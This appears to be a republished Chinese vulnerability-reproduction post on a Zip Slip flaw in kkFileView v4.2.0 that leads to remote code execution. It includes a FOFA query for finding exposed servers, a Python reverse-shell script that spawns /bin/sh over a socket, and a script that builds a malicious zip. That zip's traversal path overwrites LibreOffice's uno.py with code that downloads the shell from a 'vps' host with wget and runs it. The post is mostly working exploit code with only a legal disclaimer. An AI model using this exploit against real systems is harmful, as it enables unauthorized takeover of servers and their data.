漏洞描述
在v4.2.0版本的更新中,由于前台上传功能在处理压缩包时,从仅获取文件名改为获取文件名及其目录,导致出现了Zip Slip漏洞。这使得攻击者可上传包含恶意代码的压缩包并覆盖系统文件,随后通过调用这些被覆盖的文件实现远程代码执行。
资产测绘
FOFA:app="kkFileView"
漏洞复现
保存ft.py , vpn起web服务
import socket import subprocess import os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("ip",port)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(["/bin/sh","-i"])
制作ft.zip,上传并预览
import zipfile if __name__ == "__main__": try: binary1 = b'test123' binary2 = b'import os\r\nos.system(\'wget http://vps:30285/ft.py && python3 ft.py\')' zipFile = zipfile.ZipFile("ft.zip", "a", zipfile.ZIP_DEFLATED) info = zipfile.ZipInfo("ft.zip") zipFile.writestr("test", binary1) zipFile.writestr("../../../../../../../../../../../../../../../../../../../opt/libreoffice7.5/program/uno.py", binary2) zipFile.close() except IOError as e: raise e
然后随便创一个.odt文件,上传并浏览。
原文始发于微信公众号(漏洞文库):【漏洞复现】kkFileView存在任意文件上传致远程代码执行漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论